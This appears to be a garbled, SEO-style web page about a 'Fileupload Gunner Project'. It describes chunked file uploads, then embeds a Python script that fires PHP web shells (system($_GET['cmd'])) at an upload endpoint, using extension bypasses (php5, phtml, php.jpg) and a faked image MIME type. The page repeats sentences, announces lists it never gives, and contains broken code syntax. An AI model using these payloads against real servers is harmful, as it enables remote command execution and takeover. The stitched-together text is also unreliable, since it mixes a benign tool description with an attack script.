Fileupload Gunner Project New 【2025】

Every chunk is wrapped in a TLV (Type-Length-Value) envelope containing a CRC32C checksum. If a chunk is corrupted in transit, Gunner requests only that chunk (not the whole file) using a Range request. This is a game-changer for unreliable mobile networks.

Here are the standard techniques you will learn by using this project:

Instead of writing to local temp storage, configure Gunner to stream chunks directly to S3 multipart uploads: fileupload gunner project new

final_storage:
  streaming: true
  s3_multipart_threshold: 5242880 # 5MB

This reduces disk I/O by 70% in high-load scenarios.

The server-side Gun accepts incoming chunk streams. Its novel feature is parallel lane management: Every chunk is wrapped in a TLV (Type-Length-Value)

Lane 1: Metadata & Headers
Lane 2: Binary Chunks (odd indexes)
Lane 3: Binary Chunks (even indexes)
Lane 4: Checksum validation stream

By decoupling lanes, the Gunner Project achieves up to 4x throughput on high-latency connections.

If you are coding the project, here is a Python skeleton using the requests library to automate the "firing" of payloads. This reduces disk I/O by 70% in high-load scenarios

import requests
import os
# Configuration
target_url = "http://example.com/upload.php"
payloads = [
    ("shell.php", "<?php system($_GET['cmd']); ?>"),
    ("shell.php5", "<?php system($_GET['cmd']); ?>"),
    ("shell.phtml", "<?php system($_GET['cmd']); ?>"),
    ("shell.php.jpg", "<?php system($_GET['cmd']); ?>"),
]
def fire_upload(filename, content):
    files = 'file': (filename, content, 'image/jpeg') # Faking MIME type
    headers = 'User-Agent': 'FileUpload-Gunner/1.0'
try:
        response = requests.post(target_url, files=files, headers=headers)
        print(f"[*] Attempting: filename | Status: response.status_code")
# Check for success indicators (varies by app)
        if "success" in response.text or response.status_code == 200:
            print(f"[+] Potential Success with: filename")
except Exception as e:
        print(f"[-] Error with filename: e")
# The Loop
print("--- FileUpload Gunner Started ---")
for fname, fcontent in payloads:
    fire_upload(fname, fcontent)

The fileupload gunner project is actively maintained. Upcoming features as of Q4 2025 include:

You can contribute or report issues at the official GitHub repository (github.com/gunner-labs/fileupload). The community has published over 30 plugins for formats ranging from DICOM medical images to Parquet columnar data.
